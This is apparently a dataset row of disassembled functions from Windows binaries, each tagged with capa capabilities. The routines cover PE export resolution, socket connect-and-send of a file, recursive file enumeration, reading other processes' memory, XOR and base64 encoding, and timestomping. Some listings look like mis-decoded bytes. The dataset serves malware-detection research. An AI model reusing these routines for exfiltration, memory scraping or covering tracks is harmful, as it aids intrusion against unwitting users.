joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10036f7a
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x10036fd3
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x10036f7a
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x10036f89
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x1043cc2c
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x10036fda
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.1001de50
cmp eax, dword [ebp + 0xc]
pop eax
je 0x10037079
add edi, 4
add eax, 2
dec ecx
jne 0x10036fbf
call 0x10037026
loope 0x1003701c
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x10037076
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x10037087
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x1003703a
cmp eax, ecx
ja 0x1003703a
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x100370c4
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x100370ba
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.1001e32f
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x10036f89
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x10036fd3
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x10036f7a
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x10036f89
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x1043cc2c
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x10036fda
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.1001de50
cmp eax, dword [ebp + 0xc]
pop eax
je 0x10037079
add edi, 4
add eax, 2
dec ecx
jne 0x10036fbf
call 0x10037026
loope 0x1003701c
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x10037076
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x10037087
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x1003703a
cmp eax, ecx
ja 0x1003703a
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x100370c4
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x100370ba
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.1001e32f
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x402f76
Capabilities:
Get socket status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push esi
push edi
mov esi, dword [ebp + 8]
push 1
pop edi
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x210]
and dword [ebp - 4], 0
push eax
lea eax, [ebp - 0x10c]
push 0
push eax
lea eax, [esi + 1]
push eax
mov dword [ebp - 0x108], esi
mov dword [ebp - 0x10c], edi
mov dword [ebp - 0x20c], esi
mov dword [ebp - 0x210], edi
mov dword [ebp - 8], 0xa
call dword [sym.imp.WS2_32.dll_select]
cmp eax, edi
jne 0x402fdd
lea eax, [ebp - 0x10c]
push eax
push esi
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
jne 0x402fe1
xor eax, eax
jmp 0x402ff1
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
call dword [fcn.00442260]
pop edi
pop esi
leave
ret

Function at 0x403114
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push 0
push 0x48
push 0x428728
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0x48
jne 0x40314f
push 0
lea eax, [ebp - 0x20]
push 0x20
push eax
push dword [ebp + 8]
call fcn.00402f76
add esp, 0x10
cmp eax, 0xffffffff
je 0x40314f
cmp byte [ebp - 0x20], 0x82
je 0x403153
xor al, al
leave
ret
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040303a
add esp, 0xc
leave
ret
Function at 0x4031b2
Capabilities:
Encode data using base64

Disassembly:
mov eax, 0x423d43
call fcn.004197d4
sub esp, 0x2c
mov al, byte [ebp + 0x13]
push ebx
push esi
push edi
xor edi, edi
lea ecx, [ebp - 0x38]
push edi
mov dword [ebp - 0x20], edi
mov byte [ebp - 0x38], al
call fcn.004037eb
push 1
pop ebx
push dword [ebp + 0x10]
mov dword [ebp - 4], ebx
call fcn.00403166
cmp dword [ebp - 0x2c], eax
pop ecx
jae 0x4031f4
push edi
push eax
lea ecx, [ebp - 0x38]
call fcn.00403766
cmp dword [ebp + 0x10], edi
mov dword [ebp - 0x18], edi
jbe 0x403311
mov ebx, dword [ebp + 0x10]
cmp dword [ebp + 0x10], 3
jb 0x40320d
push 3
jmp 0x40321f
cmp dword [ebp + 0x10], 2
jne 0x403217
push 2
jmp 0x40321f
cmp dword [ebp + 0x10], 1
jne 0x403220
push 1
pop ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], edi
fild qword [ebp - 0x28]
push ecx
push ecx
fmul qword [0x424270]
fstp qword [esp]
call fcn.0041932f
pop ecx
pop ecx
call fcn.00419308
cmp ebx, edi
mov dword [ebp - 0x1c], eax
jbe 0x40325f
mov esi, dword [ebp + 0xc]
mov ecx, ebx
mov edx, ecx
lea edi, [ebp - 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor edi, edi
mov cl, byte [ebp - 0x10]
mov dl, byte [ebp - 0x10]
sar cl, 2
and cl, 0x3f
and dl, 3
mov byte [ebp - 0x14], cl
mov cl, byte [ebp - 0xf]
sar cl, 4
and cl, 0xf
add dword [ebp + 0xc], ebx
shl dl, 4
add cl, dl
mov dl, byte [ebp - 0xf]
mov byte [ebp - 0x13], cl
mov cl, byte [ebp - 0xe]
sar cl, 6
and dl, 0xf
sub dword [ebp + 0x10], ebx
and cl, 3
xor esi, esi
shl dl, 2
add cl, dl
mov byte [ebp - 0x12], cl
mov cl, byte [ebp - 0xe]
and cl, 0x3f
cmp eax, edi
mov byte [ebp - 0x11], cl
jbe 0x4032cd
add dword [ebp - 0x18], eax
movsx eax, byte [ebp + esi - 0x14]
lea ecx, [ebp - 0x38]
mov al, byte [eax + 0x428774]
push eax
push 1
call fcn.004035e8
inc esi
cmp esi, dword [ebp - 0x1c]
jb 0x4032b1
cmp dword [ebp - 0x18], 0x48
jb 0x4032eb
push dword [ebp + 0x14]
call fcn.00418970
pop ecx
push eax
lea ecx, [ebp - 0x38]
push dword [ebp + 0x14]
call fcn.00403641
mov dword [ebp - 0x18], edi
push 4
pop esi
cmp dword [ebp - 0x1c], esi
jae 0x403305
sub esi, dword [ebp - 0x1c]
push 0x3d
push 1
lea ecx, [ebp - 0x38]
call fcn.004035e8
dec esi
jne 0x4032f6
cmp dword [ebp + 0x10], edi
ja 0x403203
push 1
pop ebx
mov esi, dword [ebp + 8]
mov al, byte [ebp - 0x38]
push edi
mov ecx, esi
mov byte [esi], al
call fcn.004037eb
push dword [0x424268]
lea eax, [ebp - 0x38]
mov ecx, esi
push edi
push eax
call fcn.00403698
mov dword [ebp - 0x20], ebx
and byte [ebp - 4], 0
push ebx
lea ecx, [ebp - 0x38]
call fcn.004037eb
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x4043cb
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
cmp byte [ebp + 0x30], 0
push ebx
push esi
push edi
je 0x4043df
or byte [ebp + 0xf], 1
jmp 0x4043e3
and byte [ebp + 0xf], 0xfe
mov ebx, dword [ebp + 0x28]
mov eax, dword [ebp + 0x2c]
lea ecx, [ebx + 0x18]
cmp ecx, eax
ja 0x404404
or byte [ebp + 0xf], 2
and byte [ebp + 0x33], 0
lea eax, [ebx + 0x18]
mov dword [ebp + 0x1c], ebx
mov word [ebp + 0x14], ax
jmp 0x404416
mov word [ebp + 0x14], ax
add eax, 0xffffffe8
and byte [ebp + 0xf], 0xfd
mov dword [ebp + 0x1c], eax
mov byte [ebp + 0x33], 1
movzx eax, word [ebp + 0x14]
push eax
mov dword [ebp - 4], eax
call fcn.00418ea4
test eax, eax
pop ecx
mov dword [ebp + 0x28], eax
jne 0x40442f
xor al, al
jmp 0x4044a4
push 6
lea esi, [ebp + 0xc]
pop ecx
mov edi, eax
rep movsd dword es:[edi], dword [esi]
mov edi, dword [ebp + 0x1c]
mov esi, dword [ebp + 0x24]
push edi
add eax, 0x18
push esi
push eax
call fcn.00418a50
add esp, 0xc
lea eax, [ebp - 8]
push 0
push eax
push dword [ebp - 4]
push dword [ebp + 0x28]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp + 0x28]
test eax, eax
jne 0x404471
call fcn.00418f18
pop ecx
jmp 0x40442b
call fcn.00418f18
cmp byte [ebp + 0x33], 0
pop ecx
je 0x4044a2
push 0
sub ebx, edi
push dword [ebp + 0x2c]
add edi, esi
lea esi, [ebp + 0xc]
push ebx
push edi
sub esp, 0x18
push 6
pop ecx
mov edi, esp
push dword [ebp + 8]
rep movsd dword es:[edi], dword [esi]
call fcn.004043cb
add esp, 0x2c
jmp 0x4044a4
mov al, 1
pop edi
pop esi
pop ebx
leave
ret
Function at 0x406107
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov eax, dword [esp + 8]
mov edx, dword [esp + 4]
push esi
or esi, 0xffffffff
test eax, eax
je 0x40613c
push ebx
push edi
lea edi, [eax]
mov ecx, 0xff
mov al, byte [edx]
mov ebx, esi
and eax, ecx
and ebx, ecx
xor eax, ebx
shr esi, 8
mov eax, dword [eax*4 + 0x42427c]
xor esi, eax
inc edx
dec edi
jne 0x406120
pop edi
pop ebx
mov eax, esi
pop esi
not eax
ret
Function at 0x40777b
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
xor ecx, ecx
cmp dword [esp + 8], ecx
jle 0x407797
mov dl, byte [0x432404]
xor byte [ecx + eax], dl
inc ecx
cmp ecx, dword [esp + 8]
jl 0x407787
ret

Function at 0x407d34
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54c
push ebx
push esi
push edi
mov esi, 0x104
push dword [ebp + 0x18]
lea eax, [ebp - 0x248]
push 0x42bfc0
push esi
push eax
call fcn.00418916
mov edi, dword [sym.imp.KERNEL32.dll_FindFirstFileA]
add esp, 0x10
lea eax, [ebp - 0x144]
push eax
lea eax, [ebp - 0x248]
push eax
call edi
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
mov ebx, 0x42ba20
je 0x407df1
test byte [ebp - 0x144], 0x10
je 0x407ddd
cmp byte [ebp - 0x118], 0x2e
jne 0x407da4
cmp byte [ebp - 0x117], 0
je 0x407ddd
cmp byte [ebp - 0x117], 0x2e
je 0x407ddd
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x34c]
push dword [ebp + 0x18]
push ebx
push esi
push eax
call fcn.00418916
push dword [ebp + 0x1c]
lea eax, [ebp - 0x34c]
push eax
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00407d34
add esp, 0x2c
mov dword [ebp + 0x1c], eax
lea eax, [ebp - 0x144]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x407d80
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindClose]
push dword [ebp + 0x14]
lea eax, [ebp - 0x248]
push dword [ebp + 0x18]
push ebx
push esi
push eax
call fcn.00418916
add esp, 0x14
lea eax, [ebp - 0x144]
push eax
lea eax, [ebp - 0x248]
push eax
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x407e77
lea eax, [ebp - 0x118]
inc dword [ebp + 0x1c]
push eax
lea eax, [ebp - 0x54c]
push dword [ebp + 0x18]
push 0x42bfb0
push 0x200
push eax
call fcn.00418916
push 1
lea eax, [ebp - 0x54c]
push dword [ebp + 0x10]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040a474
add esp, 0x28
lea eax, [ebp - 0x144]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x407e28
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp + 0x1c]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4081e1
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push esi
xor esi, esi
push dword [ebp + 8]
mov dword [ebp - 0x10], esi
push esi
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
cmp eax, esi
mov dword [ebp - 4], eax
jne 0x40820a
xor eax, eax
jmp 0x408385
mov eax, dword [ebp + 0xc]
push ebx
push edi
mov dword [eax], esi
lea eax, [ebp - 0x64]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push dword [ebp - 0x60]
mov dword [ebp - 8], esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 8
call esi
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push eax
call edi
lea ecx, [ebp - 8]
mov ebx, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push ecx
mov dword [ebp + 8], eax
push dword [ebp - 0x60]
push eax
push 0x7ffdf000
push dword [ebp - 4]
call ebx
test eax, eax
jne 0x40825a
xor esi, esi
jmp 0x408378
lea eax, [ebp - 0x40]
push 0x1c
push eax
mov eax, dword [ebp + 8]
push dword [eax + 0x18]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
test eax, eax
je 0x408367
mov ecx, dword [ebp - 0x30]
mov eax, 0x1000
and ecx, eax
cmp ecx, eax
jne 0x408367
test byte [ebp - 0x2b], 1
jne 0x408367
push dword [ebp - 0x34]
push 8
call esi
push eax
call edi
mov edi, eax
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp + 8]
push dword [ebp - 0x34]
mov dword [ebp - 0xc], edi
push edi
push dword [eax + 0x18]
push dword [ebp - 4]
call ebx
test eax, eax
je 0x408367
push edi
push 0x440abc
call fcn.004236ac
pop ecx
test eax, eax
pop ecx
jne 0x4082e5
lea eax, [edi + 0x200]
push eax
push 0x4412bc
call fcn.004236ac
pop ecx
test eax, eax
pop ecx
je 0x4082f5
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0xc]
inc edi
add eax, ecx
inc edi
cmp edi, eax
jae 0x408367
jmp 0x4082bd
test edi, edi
je 0x408367
lea eax, [ebp - 0x14]
push eax
lea eax, [edi + 0x410]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
test eax, eax
je 0x408330
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
test eax, eax
je 0x408330
mov al, byte [edi + 0x42c]
mov ecx, dword [ebp + 0xc]
shr eax, 1
and eax, 0x7f
mov dword [ecx], eax
movzx eax, word [edi + 0x42c]
shr eax, 8
mov dword [0x441ce0], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], 1
mov eax, dword [eax + 0x18]
sub eax, dword [ebp - 0xc]
lea eax, [eax + edi + 0x434]
add edi, 0x434
mov dword [0x441cd8], eax
mov dword [0x441cdc], edi
push dword [ebp + 8]
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov esi, dword [ebp - 0x10]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop ebx
pop esi
leave
ret
Function at 0x408388
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
push edi
push dword [ebp + 8]
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
mov dword [ebp + 8], eax
je 0x40847a
mov eax, dword [ebp + 0xc]
and dword [eax], 0
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ebx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x40]
cmp ebx, eax
mov dword [ebp - 0xc], eax
jae 0x408471
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
lea eax, [ebp - 0x28]
push 0x1c
push eax
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
test eax, eax
je 0x40845f
mov edx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1c]
mov eax, 0x1000
mov dword [ebp - 4], ecx
and edx, eax
cmp edx, eax
jne 0x408465
test byte [ebp - 0x13], 1
jne 0x408465
push ecx
push 8
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
lea eax, [ebp - 8]
push eax
and dword [ebp - 8], 0
push dword [ebp - 0x1c]
push esi
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x408451
push 0x440abc
push esi
call fcn.004236ac
pop ecx
test eax, eax
pop ecx
jne 0x408451
lea eax, [esi + 0x400]
push 0x4412bc
push eax
call fcn.004236ac
pop ecx
test eax, eax
pop ecx
je 0x408481
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x408465
mov eax, dword [ebp - 0x48]
mov dword [ebp - 4], eax
add ebx, dword [ebp - 4]
cmp ebx, dword [ebp - 0xc]
jb 0x4083d3
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
add ebx, 0x800
lea eax, [esi + 0x800]
xor ecx, ecx
mov dword [0x441cd8], ebx
mov dword [0x441cdc], eax
cmp byte [eax], cl
jne 0x4084a3
cmp byte [eax + 1], cl
je 0x4084ab
inc ecx
inc eax
inc eax
cmp byte [eax], 0
jne 0x4084a3
mov eax, dword [ebp + 0xc]
push dword [ebp + 8]
mov dword [eax], ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop eax
jmp 0x40847c

Function at 0x408e15
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a0
lea eax, [ebp - 0x1a0]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
push dword [ebp + 8]
mov dword [0x441ce4], eax
mov word [ebp - 0x10], 2
call dword [sym.imp.WS2_32.dll_inet_addr]
push dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0xe], ax
lea eax, [ebp - 0x10]
push 0x10
push eax
push dword [0x441ce4]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x408e8d
push dword [0x441ce4]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
leave
ret
push 1
pop eax
leave
ret
Function at 0x408e92
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x504
push esi
lea eax, [ebp - 0x104]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x104]
push 0x42ba3c
push eax
call fcn.0041a267
mov esi, eax
pop ecx
test esi, esi
pop ecx
je 0x408f29
test byte [esi + 0xc], 0x10
jne 0x408f0d
push edi
mov edi, 0x400
push esi
push 1
lea eax, [ebp - 0x504]
push edi
push eax
call fcn.0041a27a
add esp, 0x10
lea eax, [ebp - 0x504]
push 0
push edi
push eax
push dword [0x441ce4]
call dword [sym.imp.WS2_32.dll_send]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
test byte [esi + 0xc], 0x10
je 0x408ed5
pop edi
push esi
call fcn.00419fa2
pop ecx
push dword [0x441ce4]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 1
pop eax
pop esi
leave
ret
Function at 0x409e3b
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push 3
push esi
push 1
push bind
push dword [ebp + 0xc]
mov edi, 0x400
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x409ef3
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, esi
mov dword [ebp + 0xc], eax
je 0x409eec
push 0x400
lea eax, [ebp - 0x404]
push esi
push eax
call fcn.004189f0
add esp, 0xc
cmp edi, dword [ebp + 0xc]
jbe 0x409e9d
mov edi, dword [ebp + 0xc]
mov eax, dword [ebp + 0xc]
push 2
neg eax
push esi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 4]
push esi
push eax
lea eax, [ebp - 0x404]
push edi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
lea eax, [ebp - 0x404]
push edi
push eax
push dword [ebp + 8]
call dword [fcn.00442298]
cmp eax, 0xffffffff
jne 0x409ee7
call dword [fcn.004421dc]
cmp eax, 0x2733
jne 0x409eec
xor eax, eax
sub dword [ebp + 0xc], eax
jne 0x409e80
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40a50f
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x314
lea eax, [ebp - 0x10]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
lea eax, [ebp - 0x114]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x114]
push 0x42d5d4
push eax
call fcn.004190e0
lea eax, [ebp - 0x114]
push 0x4888e4
push eax
call fcn.004190e0
lea eax, [ebp - 0x114]
push 0x42d5d0
push eax
call fcn.0041a267
mov esi, eax
add esp, 0x18
test esi, esi
jne 0x40a576
push 1
pop eax
jmp 0x40a5ed
movzx eax, word [ebp - 4]
push dword [ebp + 8]
push eax
movzx eax, word [ebp - 6]
push eax
movzx eax, word [ebp - 8]
push eax
movzx eax, word [ebp - 0x10]
push eax
movzx eax, word [ebp - 0xa]
push eax
movzx eax, word [ebp - 0xe]
push eax
push 0x42d5b4
push esi
call fcn.0041abb7
push esi
call fcn.00419fa2
add esp, 0x28
cmp dword [ebp + 0x98], 0
jne 0x40a5eb
push dword [ebp + 8]
lea eax, [ebp - 0x314]
push 0x42d5a4
push 0x200
push eax
call fcn.00418916
push 0
lea eax, [ebp - 0x314]
push dword [ebp + 0x94]
push eax
lea eax, [ebp + 0x14]
push eax
push dword [ebp + 0xc]
call fcn.0040a474
add esp, 0x24
xor eax, eax
pop esi
leave
ret
Function at 0x40bbac
Capabilities:
Read file via mapping

Disassembly:
push ebp
push esi
push edi
xor esi, esi
mov edi, 0x42e084
push esi
push edi
call dword [0x442254]
mov ebp, eax
cmp ebp, esi
je 0x40bc28
push ebx
push edi
push 0x1000
push esi
push 4
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push esi
push esi
mov edi, eax
push esi
push 0xf001f
push edi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
push dword [esp + 0x14]
mov ebx, eax
push ebx
call fcn.00418f47
pop ecx
pop ecx
push esi
push 1
push 0x4c8
push ebp
call dword [0x4422a4]
push esi
push 1
push 0x4c9
push ebp
call dword [0x4422a4]
push ebx
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop eax
pop ebx
jmp 0x40bc2a
xor eax, eax
pop edi
pop esi
pop ebp
ret

Function at 0x40bc2e
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
push ebx
push esi
xor esi, esi
push edi
lea eax, [ebp - 0x11c]
push esi
push eax
push 0x104
push esi
push 0x42e08c
push esi
call dword [fcn.00442304]
test eax, eax
je 0x40bccd
mov edi, 0x80
push esi
push edi
push 3
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 1
lea eax, [ebp - 0x11c]
push bind
push eax
call esi
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40bccd
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
push 0
push edi
push 3
push 0
push 2
push 0x40000000
push dword [ebp + 8]
call esi
mov esi, eax
cmp esi, 0xffffffff
je 0x40bccd
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call ebx
pop edi
pop esi
pop ebx
leave
ret